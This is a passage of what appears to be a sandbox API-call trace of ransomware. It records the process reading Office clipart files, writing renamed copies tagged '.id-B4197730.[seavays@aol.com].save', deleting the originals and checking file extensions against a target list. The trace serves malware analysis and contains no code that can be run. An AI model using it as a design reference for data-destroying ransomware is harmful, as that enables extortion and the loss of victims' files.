files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0170.137] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5472) returned 1 [0170.137] CloseHandle (hObject=0x520) returned 1 [0170.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0170.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0170.138] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.138] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.139] GetLastError () returned 0x0 [0170.139] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1560, lpOverlapped=0x0) returned 1 [0170.141] WriteFile (in: hFile=0x544, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1570, lpOverlapped=0x0) returned 1 [0170.142] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.142] WriteFile (in: hFile=0x544, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.142] SetEndOfFile (hFile=0x544) returned 1 [0170.142] CloseHandle (hObject=0x544) returned 1 [0170.142] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.143] SetEndOfFile (hFile=0x520) returned 1 [0170.148] CloseHandle (hObject=0x520) returned 1 [0170.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0170.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.149] lstrlenW (lpString=".doc") returned 4 [0170.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.149] lstrlenW (lpString=".docx") returned 5 [0170.149] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.149] lstrlenW (lpString=".pdf") returned 4 [0170.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.149] lstrlenW (lpString=".xls") returned 4 [0170.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.150] lstrlenW (lpString=".xlsx") returned 5 [0170.150] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.150] lstrlenW (lpString=".ppt") returned 4 [0170.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.150] lstrlenW (lpString=".zip") returned 4 [0170.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.150] lstrlenW (lpString=".rar") returned 4 [0170.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.150] lstrlenW (lpString=".bz2") returned 4 [0170.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.150] lstrlenW (lpString=".7z") returned 3 [0170.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.150] lstrlenW (lpString=".dbf") returned 4 [0170.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.150] lstrlenW (lpString=".1cd") returned 4 [0170.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.150] lstrlenW (lpString=".jpg") returned 4 [0170.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.150] lstrlenW (lpString=".doc") returned 4 [0170.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.150] lstrlenW (lpString=".docx") returned 5 [0170.150] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.150] lstrlenW (lpString=".pdf") returned 4 [0170.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.150] lstrlenW (lpString=".xls") returned 4 [0170.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.151] lstrlenW (lpString=".xlsx") returned 5 [0170.151] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.151] lstrlenW (lpString=".ppt") returned 4 [0170.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.151] lstrlenW (lpString=".zip") returned 4 [0170.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.151] lstrlenW (lpString=".rar") returned 4 [0170.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.151] lstrlenW (lpString=".bz2") returned 4 [0170.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.151] lstrlenW (lpString=".7z") returned 3 [0170.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.151] lstrlenW (lpString=".dbf") returned 4 [0170.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.151] lstrlenW (lpString=".1cd") returned 4 [0170.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0170.151] lstrlenW (lpString=".jpg") returned 4 [0170.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.151] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.151] lstrlenW (lpString="J0105504.WMF") returned 12 [0170.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0170.152] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4148) returned 1 [0170.152] CloseHandle (hObject=0x520) returned 1 [0170.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0170.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0170.153] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.153] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.155] GetLastError () returned 0x0 [0170.155] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1034, lpOverlapped=0x0) returned 1 [0170.497] WriteFile (in: hFile=0x544, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1040, lpOverlapped=0x0) returned 1 [0170.499] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.499] WriteFile (in: hFile=0x544, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.499] SetEndOfFile (hFile=0x544) returned 1 [0170.499] CloseHandle (hObject=0x544) returned 1 [0170.499] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.499] SetEndOfFile (hFile=0x520) returned 1 [0170.617] CloseHandle (hObject=0x520) returned 1 [0170.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0170.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.619] lstrlenW (lpString=".doc") returned 4 [0170.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.619] lstrlenW (lpString=".docx") returned 5 [0170.619] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.619] lstrlenW (lpString=".pdf") returned 4 [0170.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.619] lstrlenW (lpString=".xls") returned 4 [0170.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.619] lstrlenW (lpString=".xlsx") returned 5 [0170.619] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.619] lstrlenW (lpString=".ppt") returned 4 [0170.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.619] lstrlenW (lpString=".zip") returned 4 [0170.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.619] lstrlenW (lpString=".rar") returned 4 [0170.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.619] lstrlenW (lpString=".bz2") returned 4 [0170.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.619] lstrlenW (lpString=".7z") returned 3 [0170.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.619] lstrlenW (lpString=".dbf") returned 4 [0170.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.619] lstrlenW (lpString=".1cd") returned 4 [0170.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.619] lstrlenW (lpString=".jpg") returned 4 [0170.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.620] lstrlenW (lpString=".doc") returned 4 [0170.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.620] lstrlenW (lpString=".docx") returned 5 [0170.620] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.620] lstrlenW (lpString=".pdf") returned 4 [0170.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.620] lstrlenW (lpString=".xls") returned 4 [0170.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.620] lstrlenW (lpString=".xlsx") returned 5 [0170.620] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.620] lstrlenW (lpString=".ppt") returned 4 [0170.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.620] lstrlenW (lpString=".zip") returned 4 [0170.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.620] lstrlenW (lpString=".rar") returned 4 [0170.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.620] lstrlenW (lpString=".bz2") returned 4 [0170.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.620] lstrlenW (lpString=".7z") returned 3 [0170.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.620] lstrlenW (lpString=".dbf") returned 4 [0170.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.620] lstrlenW (lpString=".1cd") returned 4 [0170.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0170.621] lstrlenW (lpString=".jpg") returned 4 [0170.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.621] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.621] lstrlenW (lpString="J0105846.WMF") returned 12 [0170.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0170.623] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=8240) returned 1 [0170.623] CloseHandle (hObject=0x520) returned 1 [0170.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0170.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0170.624] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.624] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.669] GetLastError () returned 0x0 [0170.669] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2030, lpOverlapped=0x0) returned 1 [0170.677] WriteFile (in: hFile=0x548, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2040, lpOverlapped=0x0) returned 1 [0170.678] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.678] WriteFile (in: hFile=0x548, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.678] SetEndOfFile (hFile=0x548) returned 1 [0170.678] CloseHandle (hObject=0x548) returned 1 [0170.678] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.678] SetEndOfFile (hFile=0x520) returned 1 [0170.749] CloseHandle (hObject=0x520) returned 1 [0170.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0170.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.751] lstrlenW (lpString=".doc") returned 4 [0170.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.751] lstrlenW (lpString=".docx") returned 5 [0170.751] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.751] lstrlenW (lpString=".pdf") returned 4 [0170.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.751] lstrlenW (lpString=".xls") returned 4 [0170.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.751] lstrlenW (lpString=".xlsx") returned 5 [0170.751] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.751] lstrlenW (lpString=".ppt") returned 4 [0170.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.751] lstrlenW (lpString=".zip") returned 4 [0170.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.751] lstrlenW (lpString=".rar") returned 4 [0170.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.751] lstrlenW (lpString=".bz2") returned 4 [0170.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.752] lstrlenW (lpString=".7z") returned 3 [0170.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.752] lstrlenW (lpString=".dbf") returned 4 [0170.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.752] lstrlenW (lpString=".1cd") returned 4 [0170.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.752] lstrlenW (lpString=".jpg") returned 4 [0170.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.752] lstrlenW (lpString=".doc") returned 4 [0170.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.752] lstrlenW (lpString=".docx") returned 5 [0170.752] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.752] lstrlenW (lpString=".pdf") returned 4 [0170.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.752] lstrlenW (lpString=".xls") returned 4 [0170.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.753] lstrlenW (lpString=".xlsx") returned 5 [0170.753] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.753] lstrlenW (lpString=".ppt") returned 4 [0170.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.753] lstrlenW (lpString=".zip") returned 4 [0170.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.753] lstrlenW (lpString=".rar") returned 4 [0170.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.753] lstrlenW (lpString=".bz2") returned 4 [0170.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.753] lstrlenW (lpString=".7z") returned 3 [0170.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.753] lstrlenW (lpString=".dbf") returned 4 [0170.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.753] lstrlenW (lpString=".1cd") returned 4 [0170.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0170.753] lstrlenW (lpString=".jpg") returned 4 [0170.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.754] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.754] lstrlenW (lpString="J0106208.WMF") returned 12 [0170.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.775] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=11900) returned 1 [0170.775] CloseHandle (hObject=0x540) returned 1 [0170.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0170.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 